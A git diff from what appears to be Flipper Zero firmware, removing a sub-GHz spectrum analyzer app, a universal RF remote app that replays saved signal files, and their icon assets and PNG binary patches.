max_chan++; - // } - - // /* calibrate lower channels */ - // hz = instance->freq * 1000000 - model->spacing; - // min_chan = NUM_CHANNELS / 2; - // while (hz >= min_hz && min_chan > 0) { - // min_chan--; - // instance->chan_table[min_chan].frequency = hz; - // FURI_LOG_T("Spectrum", "calibrate_freq ch[%u]: %lu", min_chan, hz); - // hz -= model->spacing; - // } - - model->max_rssi = -200.0; - model->max_rssi_dec = 0; - - FURI_LOG_D("Spectrum", "setup_frequencies - max_hz: %u - min_hz: %u", max_hz, min_hz); - FURI_LOG_D("Spectrum", "center_freq: %u", model->center_freq); - FURI_LOG_D( - "Spectrum", - "ch[0]: %lu - ch[%u]: %lu", - model->channel0_frequency, - NUM_CHANNELS - 1, - model->channel0_frequency + ((NUM_CHANNELS - 1) * model->spacing)); -} - -SpectrumAnalyzer* spectrum_analyzer_alloc() { - SpectrumAnalyzer* instance = malloc(sizeof(SpectrumAnalyzer)); - instance->model = malloc(sizeof(SpectrumAnalyzerModel)); - - SpectrumAnalyzerModel* model = instance->model; - - for(uint8_t ch = 0; ch < NUM_CHANNELS - 1; ch++) { - model->channel_ss[ch] = 0; - } - model->max_rssi_dec = 0; - model->max_rssi_channel = 0; - model->max_rssi = PEAK_THRESHOLD - 1; // Should initializar to < PEAK_THRESHOLD - - model->center_freq = DEFAULT_FREQ; - model->width = WIDE; - model->band = BAND_400; - - model->vscroll = DEFAULT_VSCROLL; - - instance->model_mutex = osMutexNew(NULL); - instance->event_queue = osMessageQueueNew(8, sizeof(InputEvent), NULL); - - instance->worker = spectrum_analyzer_worker_alloc(); - - spectrum_analyzer_worker_set_callback( - instance->worker, spectrum_analyzer_worker_callback, instance); - - // Set system callbacks - instance->view_port = view_port_alloc(); - view_port_draw_callback_set(instance->view_port, spectrum_analyzer_render_callback, instance); - view_port_input_callback_set(instance->view_port, spectrum_analyzer_input_callback, instance); - - // Open GUI and register view_port - instance->gui = furi_record_open("gui"); - gui_add_view_port(instance->gui, instance->view_port, GuiLayerFullscreen); - - return instance; -} - -void spectrum_analyzer_free(SpectrumAnalyzer* instance) { - // view_port_enabled_set(view_port, false); - gui_remove_view_port(instance->gui, instance->view_port); - furi_record_close("gui"); - view_port_free(instance->view_port); - - spectrum_analyzer_worker_free(instance->worker); - - osMessageQueueDelete(instance->event_queue); - - osMutexDelete(instance->model_mutex); - - free(instance->model); - free(instance); - - furi_hal_subghz_idle(); - furi_hal_subghz_sleep(); -} - -int32_t spectrum_analyzer_app(void* p) { - UNUSED(p); - - SpectrumAnalyzer* spectrum_analyzer = spectrum_analyzer_alloc(); - InputEvent input; - - FURI_LOG_D("Spectrum", "Main Loop - Starting worker"); - furi_hal_delay_ms(50); - - spectrum_analyzer_worker_start(spectrum_analyzer->worker); - - FURI_LOG_D("Spectrum", "Main Loop - Wait on queue"); - furi_hal_delay_ms(50); - - while(osMessageQueueGet(spectrum_analyzer->event_queue, &input, NULL, osWaitForever) == osOK) { - furi_check(osMutexAcquire(spectrum_analyzer->model_mutex, osWaitForever) == osOK); - - FURI_LOG_D("Spectrum", "Main Loop - Input: %u", input.key); - - SpectrumAnalyzerModel* model = spectrum_analyzer->model; - - uint8_t vstep = VERTICAL_SHORT_STEP; - uint8_t hstep; - - bool exit_loop = false; - - switch(model->width) { - case NARROW: - hstep = NARROW_STEP; - break; - case ULTRAWIDE: - hstep = ULTRAWIDE_STEP; - break; - default: - hstep = WIDE_STEP; - break; - } - - switch(input.key) { - case InputKeyUp: - model->vscroll = MAX(model->vscroll - vstep, MIN_VSCROLL); - FURI_LOG_D("Spectrum", "Vscroll: %u", model->vscroll); - break; - case InputKeyDown: - model->vscroll = MIN(model->vscroll + vstep, MAX_VSCROLL); - FURI_LOG_D("Spectrum", "Vscroll: %u", model->vscroll); - break; - case InputKeyRight: - model->center_freq += hstep; - FURI_LOG_D("Spectrum", "center_freq: %lu", model->center_freq); - spectrum_analyzer_calculate_frequencies(model); - spectrum_analyzer_worker_set_frequencies( - spectrum_analyzer->worker, model->channel0_frequency, model->spacing, model->width); - break; - case InputKeyLeft: - model->center_freq -= hstep; - spectrum_analyzer_calculate_frequencies(model); - spectrum_analyzer_worker_set_frequencies( - spectrum_analyzer->worker, model->channel0_frequency, model->spacing, model->width); - FURI_LOG_D("Spectrum", "center_freq: %lu", model->center_freq); - break; - case InputKeyOk: { - switch(model->width) { - case WIDE: - model->width = NARROW; - break; - case NARROW: - model->width = ULTRAWIDE; - break; - case ULTRAWIDE: - default: - model->width = WIDE; - } - } - spectrum_analyzer_calculate_frequencies(model); - spectrum_analyzer_worker_set_frequencies( - spectrum_analyzer->worker, model->channel0_frequency, model->spacing, model->width); - FURI_LOG_D("Spectrum", "Width: %u", model->width); - break; - case InputKeyBack: - exit_loop = true; - break; - } - - osMutexRelease(spectrum_analyzer->model_mutex); - view_port_update(spectrum_analyzer->view_port); - if(exit_loop == true) break; - } - - spectrum_analyzer_worker_stop(spectrum_analyzer->worker); - - spectrum_analyzer_free(spectrum_analyzer); - - return 0; -} \ No newline at end of file diff --git a/applications/spectrum_analyzer/spectrum_analyzer.h b/applications/spectrum_analyzer/spectrum_analyzer.h deleted file mode 100644 index 74e135fcf..000000000 --- a/applications/spectrum_analyzer/spectrum_analyzer.h +++ /dev/null @@ -1,66 +0,0 @@ -#define NUM_CHANNELS 132 - -// Screen coordinates -#define FREQ_BOTTOM_Y 50 -#define FREQ_START_X 14 -// How many channels displayed on the scale (On screen still 218) -#define FREQ_LENGTH_X 102 -// dBm threshold to show peak value -#define PEAK_THRESHOLD -85 - -/* - * ultrawide mode: 80 MHz on screen, 784 kHz per channel - * wide mode (default): 20 MHz on screen, 196 kHz per channel - * narrow mode: 4 MHz on screen, 39 kHz per channel - */ -#define WIDE 0 -#define NARROW 1 -#define ULTRAWIDE 2 - -/* channel spacing in Hz */ -#define WIDE_SPACING 196078 -#define NARROW_SPACING 39215 -#define ULTRAWIDE_SPACING 784313 - -/* vertical scrolling */ -#define VERTICAL_SHORT_STEP 16 -#define MAX_VSCROLL 120 -#define MIN_VSCROLL 0 -#define DEFAULT_VSCROLL 48 - -/* frequencies in MHz */ -#define DEFAULT_FREQ 440 -#define WIDE_STEP 5 -#define NARROW_STEP 1 -#define ULTRAWIDE_STEP 20 -#define WIDE_MARGIN 13 -#define NARROW_MARGIN 3 -#define ULTRAWIDE_MARGIN 42 - -/* frequency bands supported by device */ -#define BAND_300 0 -#define BAND_400 1 -#define BAND_900 2 - -/* band limits in MHz */ -#define MIN_300 281 -#define CEN_300 315 -#define MAX_300 361 -#define MIN_400 378 -#define CEN_400 435 -#define MAX_400 481 -#define MIN_900 749 -#define CEN_900 855 -#define MAX_900 962 - -/* band transition points in MHz */ -#define EDGE_400 369 -#define EDGE_900 615 - -/* VCO transition points in Hz */ -#define MID_300 318000000 -#define MID_400 424000000 -#define MID_900 848000000 - -#define UPPER(a, b, c) ((((a) - (b) + ((c) / 2)) / (c)) * (c)) -#define LOWER(a, b, c) ((((a) + (b)) / (c)) * (c)) diff --git a/applications/spectrum_analyzer/spectrum_analyzer_worker.c b/applications/spectrum_analyzer/spectrum_analyzer_worker.c deleted file mode 100644 index 9bf3c1085..000000000 --- a/applications/spectrum_analyzer/spectrum_analyzer_worker.c +++ /dev/null @@ -1,195 +0,0 @@ -#include "spectrum_analyzer.h" -#include "spectrum_analyzer_worker.h" - -#include -#include - -#include - -struct SpectrumAnalyzerWorker { - FuriThread* thread; - bool should_work; - - SpectrumAnalyzerWorkerCallback callback; - void* callback_context; - - uint32_t channel0_frequency; - uint32_t spacing; - uint8_t width; - float max_rssi; - uint8_t max_rssi_dec; - uint8_t max_rssi_channel; - - uint8_t channel_ss[NUM_CHANNELS]; -}; - -/* set the channel bandwidth */ -void spectrum_analyzer_worker_set_filter(SpectrumAnalyzerWorker* instance) { - uint8_t filter_config[2][2] = { - {CC1101_MDMCFG4, 0}, - {0, 0}, - }; - - // FURI_LOG_D("SpectrumWorker", "spectrum_analyzer_worker_set_filter: width = %u", instance->width); - - /* channel spacing should fit within 80% of channel filter bandwidth */ - switch(instance->width) { - case NARROW: - filter_config[0][1] = 0xFC; /* 39.2 kHz / .8 = 49 kHz --> 58 kHz */ - break; - case ULTRAWIDE: - filter_config[0][1] = 0x0C; /* 784 kHz / .8 = 980 kHz --> 812 kHz */ - break; - default: - filter_config[0][1] = 0x6C; /* 196 kHz / .8 = 245 kHz --> 270 kHz */ - break; - } - furi_hal_subghz_load_registers(filter_config); -} - -static int32_t spectrum_analyzer_worker_thread(void* context) { - furi_assert(context); - SpectrumAnalyzerWorker* instance = context; - - FURI_LOG_D("SpectrumWorker", "spectrum_analyzer_worker_thread: Start"); - - // Start CC1101 - furi_hal_subghz_reset(); - furi_hal_subghz_load_preset(FuriHalSubGhzPresetOok650Async); - furi_hal_subghz_set_frequency(433920000); - furi_hal_subghz_flush_rx(); - furi_hal_subghz_rx(); - - static const uint8_t radio_config[][2] = { - {CC1101_FSCTRL1, 0x12}, - {CC1101_FSCTRL0, 0x00}, - - {CC1101_AGCCTRL2, 0xC0}, - - {CC1101_MDMCFG4, 0x6C}, - {CC1101_TEST2, 0x88}, - {CC1101_TEST1, 0x31}, - {CC1101_TEST0, 0x09}, - /* End */ - {0, 0}, - }; - - while(instance->should_work) { - furi_hal_delay_ms(50); - - // FURI_LOG_T("SpectrumWorker", "spectrum_analyzer_worker_thread: Worker Loop"); - furi_hal_subghz_idle(); - furi_hal_subghz_load_registers(radio_config); - - // TODO: Check filter! - // spectrum_analyzer_worker_set_filter(instance); - - instance->max_rssi_dec = 0; - - for(uint8_t ch = 0; ch < NUM_CHANNELS - 1; ch++) { - furi_hal_subghz_set_frequency(instance->channel0_frequency + (ch * instance->spacing)); - - furi_hal_subghz_rx(); - furi_hal_delay_ms(3); - - // dec dBm - //max_ss = 127 -> -10.5 - //max_ss = 0 -> -74.0 - //max_ss = 255 -> -74.5 - //max_ss = 128 -> -138.0 - instance->channel_ss[ch] = (furi_hal_subghz_get_rssi() + 138) * 2; - - if(instance->channel_ss[ch] > instance->max_rssi_dec) { - instance->max_rssi_dec = instance->channel_ss[ch]; - instance->max_rssi = (instance->channel_ss[ch] / 2) - 138; - instance->max_rssi_channel = ch; - } - - furi_hal_subghz_idle(); - } - - // FURI_LOG_T("SpectrumWorker", "channel_ss[0]: %u", instance->channel_ss[0]); - - // Report results back to main thread - if(instance->callback) { - instance->callback( - (void*)&(instance->channel_ss), - instance->max_rssi, - instance->max_rssi_dec, - instance->max_rssi_channel, - instance->callback_context); - } - } - - return 0; -} - -SpectrumAnalyzerWorker* spectrum_analyzer_worker_alloc() { - FURI_LOG_D("Spectrum", "spectrum_analyzer_worker_alloc: Start"); - - SpectrumAnalyzerWorker* instance = malloc(sizeof(SpectrumAnalyzerWorker)); - - instance->thread = furi_thread_alloc(); - furi_thread_set_name(instance->thread, "SpectrumWorker"); - furi_thread_set_stack_size(instance->thread, 2048); - furi_thread_set_context(instance->thread, instance); - furi_thread_set_callback(instance->thread, spectrum_analyzer_worker_thread); - - FURI_LOG_D("Spectrum", "spectrum_analyzer_worker_alloc: End"); - - return instance; -} - -void spectrum_analyzer_worker_free(SpectrumAnalyzerWorker* instance) { - FURI_LOG_D("Spectrum", "spectrum_analyzer_worker_free"); - furi_assert(instance); - furi_thread_free(instance->thread); - free(instance); -} - -void spectrum_analyzer_worker_set_callback( - SpectrumAnalyzerWorker* instance, - SpectrumAnalyzerWorkerCallback callback, - void* context) { - furi_assert(instance); - instance->callback = callback; - instance->callback_context = context; -} - -void spectrum_analyzer_worker_set_frequencies( - SpectrumAnalyzerWorker* instance, - uint32_t channel0_frequency, - uint32_t spacing, - uint8_t width) { - furi_assert(instance); - - FURI_LOG_D( - "SpectrumWorker", - "spectrum_analyzer_worker_set_frequencies - channel0_frequency= %u - spacing = %u - width = %u", - channel0_frequency, - spacing, - width); - - instance->channel0_frequency = channel0_frequency; - instance->spacing = spacing; - instance->width = width; -} - -void spectrum_analyzer_worker_start(SpectrumAnalyzerWorker* instance) { - FURI_LOG_D("Spectrum", "spectrum_analyzer_worker_start"); - - furi_assert(instance); - furi_assert(instance->should_work == false); - - instance->should_work = true; - furi_thread_start(instance->thread); -} - -void spectrum_analyzer_worker_stop(SpectrumAnalyzerWorker* instance) { - FURI_LOG_D("Spectrum", "spectrum_analyzer_worker_stop"); - furi_assert(instance); - furi_assert(instance->should_work == true); - - instance->should_work = false; - furi_thread_join(instance->thread); -} \ No newline at end of file diff --git a/applications/spectrum_analyzer/spectrum_analyzer_worker.h b/applications/spectrum_analyzer/spectrum_analyzer_worker.h deleted file mode 100644 index ca051dacc..000000000 --- a/applications/spectrum_analyzer/spectrum_analyzer_worker.h +++ /dev/null @@ -1,33 +0,0 @@ -#pragma once - -#include - -typedef void (*SpectrumAnalyzerWorkerCallback)( - void* chan_table, - float max_rssi, - uint8_t max_rssi_dec, - uint8_t max_rssi_channel, - void* context); - -typedef struct SpectrumAnalyzerWorker SpectrumAnalyzerWorker; - -SpectrumAnalyzerWorker* spectrum_analyzer_worker_alloc(); - -void spectrum_analyzer_worker_free(SpectrumAnalyzerWorker* instance); - -void spectrum_analyzer_worker_set_callback( - SpectrumAnalyzerWorker* instance, - SpectrumAnalyzerWorkerCallback callback, - void* context); - -void spectrum_analyzer_worker_set_filter(SpectrumAnalyzerWorker* instance); - -void spectrum_analyzer_worker_set_frequencies( - SpectrumAnalyzerWorker* instance, - uint32_t channel0_frequency, - uint32_t spacing, - uint8_t width); - -void spectrum_analyzer_worker_start(SpectrumAnalyzerWorker* instance); - -void spectrum_analyzer_worker_stop(SpectrumAnalyzerWorker* instance); diff --git a/applications/universal_rf/universal_rf.c b/applications/universal_rf/universal_rf.c deleted file mode 100644 index ca21e5162..000000000 --- a/applications/universal_rf/universal_rf.c +++ /dev/null @@ -1,274 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define TAG "UniveralRFRemote" - -typedef struct { - bool press[5]; -} RemoteAppState; - -static void remote_reset_state(RemoteAppState* state) { - state->press[0] = 0; - state->press[1] = 0; - state->press[2] = 0; - state->press[3] = 0; - state->press[4] = 0; -} -static string_t up_file; -static string_t down_file; -static string_t left_file; -static string_t right_file; -static string_t ok_file; - -static char* subString(char* someString, int n) { - char* new = malloc(sizeof(char) * n + 1); - strncpy(new, someString, n); - new[n] = '\0'; - return(new); -} - -static char* file_stub(const char* file_name) { - string_t filename; - string_init(filename); - path_extract_filename_no_ext(file_name, filename); - - return(subString((char*)string_get_cstr(filename), 8)); -} - -static void remote_send_signal(uint32_t frequency, string_t signal, string_t protocol) { - uint32_t repeat = 1; - frequency = frequency ? frequency : 433920000; - FURI_LOG_D(TAG, "file to send: %s", string_get_cstr(signal)); - - if(strlen(string_get_cstr(signal)) < 10) { - return; - } - - string_t flipper_format_string; - if(strcmp(string_get_cstr(protocol), "RAW") == 0) { - string_init_printf(flipper_format_string, "File_name: %s", string_get_cstr(signal)); - } else { - return; - } - NotificationApp* notification = furi_record_open("notification"); - FlipperFormat* flipper_format = flipper_format_string_alloc(); - Stream* stream = flipper_format_get_raw_stream(flipper_format); - stream_clean(stream); - stream_write_cstring(stream, string_get_cstr(flipper_format_string)); - - SubGhzEnvironment* environment = subghz_environment_alloc(); - - SubGhzTransmitter* transmitter = - subghz_transmitter_alloc_init(environment, string_get_cstr(protocol)); - subghz_transmitter_deserialize(transmitter, flipper_format); - - furi_hal_subghz_reset(); - furi_hal_subghz_load_preset(FuriHalSubGhzPresetOok270Async); - furi_hal_subghz_set_frequency_and_path(frequency); - FURI_LOG_D( - TAG, "Transmitting at %lu, repeat %lu. Press CTRL+C to stop\r\n", frequency, repeat); - - furi_hal_power_suppress_charge_enter(); - notification_message(notification, &sequence_set_vibro_on); - - furi_hal_subghz_start_async_tx(subghz_transmitter_yield, transmitter); - - while(!(furi_hal_subghz_is_async_tx_complete())) { - FURI_LOG_D(TAG, "."); - fflush(stdout); - osDelay(333); - } - notification_message(notification, &sequence_reset_vibro); - - furi_record_close("notification"); - - furi_hal_subghz_stop_async_tx(); - furi_hal_subghz_sleep(); - - furi_hal_power_suppress_charge_exit(); - - flipper_format_free(flipper_format); - subghz_transmitter_free(transmitter); - subghz_environment_free(environment); -} - -static void remote_render_callback(Canvas* canvas, void* ctx) { - RemoteAppState* state = (RemoteAppState*)acquire_mutex((ValueMutex*)ctx, 25); - canvas_clear(canvas); - char strings[5][20]; - string_t signal; - string_init(signal); - sprintf(strings[0], "Ok: %s", file_stub(string_get_cstr(ok_file))); - sprintf(strings[1], "L: %s", file_stub(string_get_cstr(left_file))); - sprintf(strings[2], "R: %s", file_stub(string_get_cstr(right_file))); - sprintf(strings[3], "U: %s", file_stub(string_get_cstr(up_file))); - sprintf(strings[4], "D: %s", file_stub(string_get_cstr(down_file))); - - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 0, 10, "Univeral Remote"); - - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 0, 24, strings[1]); - canvas_draw_str(canvas, 85, 24, strings[2]); - canvas_draw_str(canvas, 0, 36, strings[3]); - canvas_draw_str(canvas, 85, 36, strings[4]); - canvas_draw_str(canvas, 0, 48, strings[0]); - - if(state->press[0]) { - string_cat_printf(signal, "%s", string_get_cstr(right_file)); - } - - else if(state->press[1]) { - string_cat_printf(signal, "%s", string_get_cstr(left_file)); - - } else if(state->press[2]) { - string_cat_printf(signal, "%s", string_get_cstr(up_file)); - - } else if(state->press[3]) { - string_cat_printf(signal, "%s", string_get_cstr(down_file)); - - } - - else if(state->press[4]) { - string_cat_printf(signal, "%s", string_get_cstr(ok_file)); - } - FURI_LOG_D(TAG, "signal = %s", string_get_cstr(signal)); - - if(strlen(string_get_cstr(signal)) > 12) { - string_t file_name; - string_init(file_name); - string_t protocol; - string_init(protocol); - string_set(file_name, string_get_cstr(signal)); - Storage* storage = furi_record_open("storage"); - FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); - uint32_t frequency_str; - flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name)); - flipper_format_read_uint32(fff_data_file, "Frequency", (uint32_t*)&frequency_str, 1); - if(!flipper_format_read_string(fff_data_file, "Protocol", protocol)) { - FURI_LOG_D(TAG, "Could not read Protocol"); - string_set(protocol, "RAW"); - } - flipper_format_free(fff_data_file); - furi_record_close("storage"); - FURI_LOG_D(TAG, "%lu", frequency_str); - remote_send_signal(frequency_str, signal, protocol); - } - - canvas_draw_str(canvas, 10, 63, "[back] - skip, hold to exit"); - remote_reset_state(state); - release_mutex((ValueMutex*)ctx, state); -} - -static void remote_input_callback(InputEvent* input_event, void* ctx) { - if (input_event->type == InputTypeRelease) { - osMessageQueueId_t event_queue = ctx; - osMessageQueuePut(event_queue, input_event, 0, osWaitForever); - } -} - -int32_t universal_rf_remote_app(void* p) { - UNUSED(p); - osMessageQueueId_t event_queue = osMessageQueueNew(32, sizeof(InputEvent), NULL); - furi_check(event_queue); - string_init(up_file); - string_init(down_file); - string_init(left_file); - string_init(right_file); - string_init(ok_file); - - string_t file_name; - string_init(file_name); - string_set(file_name, "/ext/subghz/assets/universal_rf_map"); - Storage* storage = furi_record_open("storage"); - FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); - if(!flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name))) { - FURI_LOG_D(TAG, "Could not open file %s", string_get_cstr(file_name)); - } - - if(!flipper_format_read_string(fff_data_file, "UP", up_file)) { - FURI_LOG_D(TAG, "Could not read UP string"); - } - if(!flipper_format_read_string(fff_data_file, "DOWN", down_file)) { - FURI_LOG_D(TAG, "Could not read DOWN string"); - } - if(!flipper_format_read_string(fff_data_file, "LEFT", left_file)) { - FURI_LOG_D(TAG, "Could not read LEFT string"); - } - if(!flipper_format_read_string(fff_data_file, "RIGHT", right_file)) { - FURI_LOG_D(TAG, "Could not read RIGHT string"); - } - if(!flipper_format_read_string(fff_data_file, "OK", ok_file)) { - FURI_LOG_D(TAG, "Could not read OK string"); - } - flipper_format_free(fff_data_file); - furi_record_close("storage"); - FURI_LOG_I( - TAG, - "%s %s %s %s %s ", - string_get_cstr(up_file), - string_get_cstr(down_file), - string_get_cstr(left_file), - string_get_cstr(right_file), - string_get_cstr(ok_file)); - - RemoteAppState _state = {{false, false, false, false, false}}; - - ValueMutex state_mutex; - if(!init_mutex(&state_mutex, &_state, sizeof(RemoteAppState))) { - FURI_LOG_D(TAG, "cannot create mutex"); - return(0); - } - - ViewPort* view_port = view_port_alloc(); - - view_port_draw_callback_set(view_port, remote_render_callback, &state_mutex); - view_port_input_callback_set(view_port, remote_input_callback, event_queue); - - Gui* gui = furi_record_open("gui"); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - InputEvent event; - while(osMessageQueueGet(event_queue, &event, NULL, osWaitForever) == osOK) { - RemoteAppState* state = (RemoteAppState*)acquire_mutex_block(&state_mutex); - FURI_LOG_D( - TAG, - "key: %s type: %s", - input_get_key_name(event.key), - input_get_type_name(event.type)); - - if(event.key == InputKeyRight) { - state->press[0] = true; - } else if(event.key == InputKeyLeft) { - state->press[1] = true; - } else if(event.key == InputKeyUp) { - state->press[2] = true; - } else if(event.key == InputKeyDown) { - state->press[3] = true; - } else if(event.key == InputKeyOk) { - state->press[4] = true; - } else if(event.key == InputKeyBack) { - release_mutex(&state_mutex, state); - break; - } - release_mutex(&state_mutex, state); - view_port_update(view_port); - } - - gui_remove_view_port(gui, view_port); - view_port_free(view_port); - osMessageQueueDelete(event_queue); - delete_mutex(&state_mutex); - - furi_record_close("gui"); - - return(0); -} \ No newline at end of file diff --git a/assets/compiled/assets_icons.c b/assets/compiled/assets_icons.c index 049f74adb..e513b061a 100644 --- a/assets/compiled/assets_icons.c +++ b/assets/compiled/assets_icons.c @@ -484,16 +484,6 @@ const uint8_t _A_U2F_14_2[] = {0x00,0xE0,0x01,0x10,0x02,0x08,0x04,0x08,0x04,0x08 const uint8_t _A_U2F_14_3[] = {0x00,0x00,0x00,0xE0,0x01,0x10,0x02,0x08,0x04,0x08,0x04,0xFE,0x1F,0x01,0x20,0xD5,0x2D,0x55,0x25,0x15,0x2D,0x95,0x24,0xDD,0x25,0x01,0x20,0xFE,0x1F,}; const uint8_t* const _A_U2F_14[] = {_A_U2F_14_0,_A_U2F_14_1,_A_U2F_14_2,_A_U2F_14_3}; -const uint8_t _A_UniversalRemote_14_0[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x24,0x10,0x1f,0x04,0x04,0x0e,0x20,0x31,0x8b,0x46,0xa2,0xb2,0xa0,0x08,0x81,0x44,0x1a,0xa1,0x51,0x0c,0x88,}; -const uint8_t _A_UniversalRemote_14_1[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x3c,0x10,0x10,0x08,0x81,0xc4,0x06,0x31,0x68,0xd4,0x56,0x54,0x01,0x10,0x28,0x83,0x56,0x41,0x01,0x0c,0x88,}; -const uint8_t _A_UniversalRemote_14_2[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x24,0x10,0x1f,0x04,0x04,0x0e,0x20,0x31,0x8b,0x46,0xa2,0xb3,0xa0,0x08,0x81,0x44,0x1a,0xa1,0x51,0x0c,0x88,}; -const uint8_t _A_UniversalRemote_14_3[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x24,0x10,0x1f,0x04,0x04,0x0e,0x20,0x31,0x8b,0x46,0xa2,0xb2,0xa0,0x08,0x81,0x44,0x1a,0xa0,0x11,0x0c,0x88,}; -const uint8_t _A_UniversalRemote_14_4[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x24,0x10,0x1f,0x04,0x04,0x0e,0x20,0x31,0x8b,0x46,0xa2,0xf2,0xa0,0x08,0x81,0x44,0x1a,0xa1,0x51,0x0c,0x88,}; -const uint8_t _A_UniversalRemote_14_5[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x3c,0x10,0x10,0x08,0x81,0xc4,0x06,0x31,0x68,0xd4,0x56,0x54,0x01,0x10,0x28,0x83,0x56,0x41,0x01,0x0c,0x88,}; -const uint8_t _A_UniversalRemote_14_6[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x24,0x10,0x1f,0x04,0x04,0x0e,0x20,0x31,0xfb,0x46,0xfe,0xb2,0xb0,0x08,0x81,0x44,0x1a,0xa1,0x51,0x0c,0x88,}; -const uint8_t* const _A_UniversalRemote_14[] = {_A_UniversalRemote_14_0,_A_UniversalRemote_14_1,_A_UniversalRemote_14_2,_A_UniversalRemote_14_3,_A_UniversalRemote_14_4,_A_UniversalRemote_14_5,_A_UniversalRemote_14_6}; - - const uint8_t _A_iButton_14_0[] = {0x00,0x00,0x1C,0x00,0x3E,0x00,0x35,0x80,0x3A,0x78,0x15,0x84,0x0A,0x32,0x05,0x49,0x02,0x85,0x02,0x85,0x02,0x49,0x02,0x32,0x01,0x84,0x00,0x78,0x00,}; const uint8_t _A_iButton_14_1[] = {0x00,0x00,0x00,0x00,0x38,0x00,0x26,0x80,0x21,0xE0,0x10,0x38,0x0D,0x6C,0x03,0x56,0x01,0x2B,0x01,0x97,0x00,0x4D,0x00,0x21,0x00,0x1E,0x00,0x00,0x00,}; const uint8_t _A_iButton_14_2[] = {0x01,0x00,0x1a,0x00,0x00,0x24,0xc2,0x01,0x2c,0x80,0x48,0xfb,0x11,0x89,0x64,0x1b,0x2d,0x01,0xa5,0xc0,0x24,0xb0,0x08,0x94,0x02,0x13,0x00,0x83,0x85,0x88,}; @@ -815,7 +805,6 @@ const Icon A_Sub1ghz_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.fr const Icon A_Tamagotchi_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_Tamagotchi_14}; const Icon A_TouchTunes_14 = {.width=14,.height=14,.frame_count=30,.frame_rate=3,.frames=_A_TouchTunes_14}; const Icon A_U2F_14 = {.width=14,.height=14,.frame_count=4,.frame_rate=3,.frames=_A_U2F_14}; -const Icon A_UniversalRemote_14 = {.width=14,.height=14,.frame_count=7,.frame_rate=3,.frames=_A_UniversalRemote_14}; const Icon A_iButton_14 = {.width=14,.height=14,.frame_count=7,.frame_rate=3,.frames=_A_iButton_14}; const Icon I_Detailed_chip_17x13 = {.width=17,.height=13,.frame_count=1,.frame_rate=0,.frames=_I_Detailed_chip_17x13}; const Icon I_Medium_chip_22x21 = {.width=22,.height=21,.frame_count=1,.frame_rate=0,.frames=_I_Medium_chip_22x21}; diff --git a/assets/compiled/assets_icons.h b/assets/compiled/assets_icons.h index 1c08545bf..e4184750f 100644 --- a/assets/compiled/assets_icons.h +++ b/assets/compiled/assets_icons.h @@ -109,7 +109,6 @@ extern const Icon A_Sub1ghz_14; extern const Icon A_Tamagotchi_14; extern const Icon A_TouchTunes_14; extern const Icon A_U2F_14; -extern const Icon A_UniversalRemote_14; extern const Icon A_iButton_14; extern const Icon I_Detailed_chip_17x13; extern const Icon I_Medium_chip_22x21; diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_00_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_00_delay-0.04s.png deleted file mode 100644 index d6c97146d818a4eb321bfdc31bb1e4823502294c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 470 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD-F@2(Wt#qtYOxn1c`=+>W)9>T8Sv76t0@EFj@bBU==g} z#k-p;nsnwJIO(`us6>?gXponqfkq8qVa>GfXPZ8Yg|OP5`L6#%zP9v_X1w#a-^-JK zS{~Zx*0(Az^YyC7g{GcMPQL2cac-KRpy277rbR1l7}||a&YUNEg-!1n$^K^oaDR8A6{26`zZuLQCH&4rH({emZfX>w~ag8WR&d<$F z%`0JW_jFSzN-fT;N=;G7&r`@KDJdwn($`O|O3zHw11i#oNIocd1q>1fRgl({#FA92 zCk1w@};-9yoko1c=IR*74K_qw1Ypaup{ LS3j3^P614Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD-F@2(Wt#qtYOxn1c`=+>W)9>T8Sv76t0@EFj@bBU==g} z#k-p;nsnwJIO(`us6>?gXponqfkq8qVa>GfXPZ8Yg|OP5`L6#%zP9v_X1w#a-^-JK zS{~Zx*0(Az^YyC7g{GcMPQL2cac-KRpy277rbR1l7}||a&YUNEg-!1n$^K^oaDR8A6{26`zZuLQCH&4rH({emZfX-Ddag8WRNi0dV zN-jzTQVd20Mn<{@rn-hEAqJ*a#>Q5rrrHJuRzURm)jbpqx%nxXX_dG&c&`ge0%~CJ MboFyt=akR{00vu%od5s; diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_02_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_02_delay-0.04s.png deleted file mode 100644 index 479fbd58b591c8277f06ec1225ee29ee095c8564..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 411 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD-F@2(Wt#qtYOxn1c`=+>W)9>T8Sv76t0@EFj@bBU==g} z#k-p;nsnwJIO(`us6>?gXponqfkq8qVa>GfXPZ8Yg|OP5`L6#%zP9v_X1w#a-^-JK zS{~Zx*0(Az^YyC7g{GcMPQL2cac-KRpy277rbR1l7}||a&YUNEg-!1n$^K^oaDR8A6{26`zZuLQCH&4rH({emZfX-Ddag8WRNi0dV 